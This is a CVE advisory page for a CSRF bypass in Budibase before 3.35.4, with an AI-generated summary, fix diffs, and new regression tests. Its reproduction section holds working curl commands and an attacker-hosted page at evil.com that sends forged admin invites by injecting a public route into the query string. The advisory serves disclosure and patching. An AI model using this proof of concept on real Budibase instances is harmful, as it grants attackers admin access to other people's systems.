CVE-2026-48147
Description
Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Budibase prior to 3.35.4 uses unanchored regex in CSRF middleware, allowing unauthenticated attackers to bypass CSRF validation via query string injection.
Vulnerability
In Budibase versions prior to 3.35.4, the buildMatcherRegex() function in packages/backend-core/src/middleware/matchers.ts compiles route patterns into unanchored regular expressions without ^ or $ anchors. The matches() function tests these regexes against ctx.request.url, which includes the full query string. The CSRF middleware relies on this matching to skip token validation for certain routes. This allows an attacker to inject a public route pattern into the query string of a request, causing the CSRF check to be bypassed [1].
Exploitation
An unauthenticated attacker can forge a cross-origin state-changing request (e.g., HTTP POST) to any Worker API endpoint by appending a query parameter that matches a public route pattern. For example, adding ?/builder/global/config/ to the URL could cause the CSRF middleware to recognize it as a public route and skip token validation. No user interaction or authentication is required [1].
Impact
Successful exploitation allows the attacker to perform actions that should require CSRF protection, such as sending admin invites, modifying global configuration, or managing users, all without a valid CSRF token. This can lead to unauthorized access and control over the Budibase instance [1].
Mitigation
The vulnerability is fixed in Budibase version 3.35.4, released on 2026-05-27. Users should upgrade immediately. No workarounds are available for prior versions [1].
AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
472d75db8598fharden auth middleware
3 files changed · +51 −2
packages/backend-core/src/middleware/matchers.ts+3 −2 modified@@ -23,13 +23,14 @@ export const buildMatcherRegex = ( } } - return { regex: new RegExp(route), method, route } + return { regex: new RegExp(`^${route}`), method, route } }) } export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { - const urlMatch = regex.test(ctx.request.url) + const path = ctx.path || ctx.request.path || ctx.request.url.split("?")[0] + const urlMatch = regex.test(path) const methodMatch = method === "ALL" ? true
packages/backend-core/src/middleware/tests/matchers.spec.ts+40 −0 modified@@ -10,6 +10,7 @@ describe("matchers", () => { }, ] const ctx = structures.koa.newContext() + ctx.path = "/api/tests" ctx.request.url = "/api/tests" ctx.request.method = "POST" @@ -26,6 +27,7 @@ describe("matchers", () => { }, ] const ctx = structures.koa.newContext() + ctx.path = "/api/tests/id/something/else" ctx.request.url = "/api/tests/id/something/else" ctx.request.method = "POST" @@ -34,6 +36,40 @@ describe("matchers", () => { expect(!!matchers.matches(ctx, built)).toBe(true) }) + it("doesn't match later in the path", () => { + const pattern = [ + { + route: "/api/tests", + method: "POST", + }, + ] + const ctx = structures.koa.newContext() + ctx.path = "/foo/api/tests" + ctx.request.url = "/foo/api/tests" + ctx.request.method = "POST" + + const built = matchers.buildMatcherRegex(pattern) + + expect(!!matchers.matches(ctx, built)).toBe(false) + }) + + it("ignores query strings when matching", () => { + const pattern = [ + { + route: "/api/system/status", + method: "GET", + }, + ] + const ctx = structures.koa.newContext() + ctx.path = "/api/global/users/search" + ctx.request.url = "/api/global/users/search?x=/api/system/status" + ctx.request.method = "GET" + + const built = matchers.buildMatcherRegex(pattern) + + expect(!!matchers.matches(ctx, built)).toBe(false) + }) + it("matches with param", () => { const pattern = [ { @@ -42,6 +78,7 @@ describe("matchers", () => { }, ] const ctx = structures.koa.newContext() + ctx.path = "/api/tests/id" ctx.request.url = "/api/tests/id" ctx.request.method = "GET" @@ -58,6 +95,7 @@ describe("matchers", () => { }, ] const ctx = structures.koa.newContext() + ctx.path = "/api/unknown" ctx.request.url = "/api/unknown" ctx.request.method = "POST" @@ -74,6 +112,7 @@ describe("matchers", () => { }, ] const ctx = structures.koa.newContext() + ctx.path = "/api/tests" ctx.request.url = "/api/tests" ctx.request.method = "GET" @@ -90,6 +129,7 @@ describe("matchers", () => { }, ] const ctx = structures.koa.newContext() + ctx.path = "/api/tests" ctx.request.url = "/api/tests" ctx.request.method = "GET"
packages/worker/src/api/routes/global/tests/users.spec.ts+8 −0 modified@@ -1138,6 +1138,14 @@ describe("/api/global/users", () => { await config.api.users.searchUsers({}, { status: 403, noHeaders: true }) }) + it("should throw an error if a public route is injected in the query string", async () => { + await config.request + .post("/api/global/users/search?x=/api/system/status") + .send({}) + .expect("Content-Type", /json/) + .expect(403) + }) + it("should be able to search using logical conditions", async () => { const user = await config.createUser() const response = await config.api.users.searchUsers({
6e7bfd7213d1set ctx.path in activation test
1 file changed · +2 −0
packages/backend-core/src/middleware/tests/activation.spec.ts+2 −0 modified@@ -101,6 +101,7 @@ describe("activeTenant middleware", () => { config: { active: false }, }) + ctx.path = "/api/system/tenants/tenant1" ctx.request = { url: "/api/system/tenants/tenant1", method: "DELETE" } const middleware = activeTenant([ @@ -119,6 +120,7 @@ describe("activeTenant middleware", () => { config: { active: false }, }) + ctx.path = "/api/system/environment" ctx.request = { url: "/api/system/environment", method: "GET" } const middleware = activeTenant([
92c264a9e19dsimplify koa path logic
1 file changed · +1 −2
packages/backend-core/src/middleware/matchers.ts+1 −2 modified@@ -29,8 +29,7 @@ export const buildMatcherRegex = ( export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { - const path = ctx.path || ctx.request.path || ctx.request.url.split("?")[0] - const urlMatch = regex.test(path) + const urlMatch = regex.test(ctx.path) const methodMatch = method === "ALL" ? true
9544623b51bfBump version to 3.35.4
1 file changed · +1 −1
lerna.json+1 −1 modified@@ -1,6 +1,6 @@ { "$schema": "node_modules/lerna/schemas/lerna-schema.json", - "version": "3.35.3", + "version": "3.35.4", "npmClient": "yarn", "concurrency": 20, "command": {
Vulnerability mechanics
Root cause
"Unanchored regular expressions compiled from route patterns are tested against the full URL including query string, allowing an attacker to inject a public route pattern into the query string to match CSRF-skip conditions."
Attack vector
An unauthenticated attacker crafts a cross-origin request to a protected Worker API endpoint (e.g., `/api/global/users/invite`) and appends a public route pattern such as `?x=/api/global/auth/evil` to the query string [ref_id=1]. Because `buildMatcherRegex()` produces an unanchored regex (no `^` or `$`) and `matches()` tests against `ctx.request.url` (which includes the full query string), the regex `/api/global/auth/.*` matches the substring inside the query parameter [ref_id=1]. The CSRF middleware sees a match against `NO_CSRF_ENDPOINTS`, skips token validation entirely, and processes the state-changing request [ref_id=1]. The same technique can also bypass tenant-isolation middleware via the `NO_TENANCY_ENDPOINTS` pattern `/api/system` [ref_id=1].
Affected code
The vulnerable code is in `packages/backend-core/src/middleware/matchers.ts` in the `buildMatcherRegex()` and `matches()` functions [ref_id=1]. `buildMatcherRegex()` creates unanchored regexes via `new RegExp(route)` (no `^` or `$` anchors), and `matches()` tests these regexes against `ctx.request.url`, which includes the full query string [ref_id=1]. The CSRF middleware in `packages/backend-core/src/middleware/csrf.ts` and the Worker registration in `packages/worker/src/api/index.ts` consume these matchers to decide whether to skip CSRF validation [ref_id=1].
What the fix does
The fix in [patch_id=2725529] applies two changes to `packages/backend-core/src/middleware/matchers.ts`. First, `buildMatcherRegex()` anchors the regex with `^` (`new RegExp(\`^${route}\`)`) so the pattern must match at the start of the string [patch_id=2725529]. Second, `matches()` extracts the path component via `ctx.path || ctx.request.path || ctx.request.url.split("?")[0]` and tests the regex against that path only, ignoring the query string [patch_id=2725529]. The companion patch [patch_id=2725530] further simplifies the logic to use `ctx.path` directly [patch_id=2725530]. A new integration test in `users.spec.ts` confirms that a request to `/api/global/users/search?x=/api/system/status` now correctly returns 403 instead of bypassing CSRF [patch_id=2725529].
Preconditions
- authVictim must be authenticated with an active session in the Budibase Worker instance
- inputAttacker must be able to induce the victim to visit a malicious page or send a crafted HTTP request
- networkTarget Budibase Worker must be internet-accessible (self-hosted deployment)
Reproduction
**Prerequisites:** Victim is logged into a Budibase Worker instance. Attacker hosts a page at `https://evil.com`.
**Step 1 — Verify CSRF is normally enforced:** ``` curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 403 CSRF token mismatch ```
**Step 2 — CSRF bypass via query string injection:** ``` curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 200 OK — invite created, no CSRF token required ```
**Step 3 — Cross-site exploitation (victim visits attacker page):** ```html <!-- https://evil.com/csrf.html --> <html> <body> <script> fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: 'attacker@evil.com', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) </script> </body> </html> ``` [ref_id=1]
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.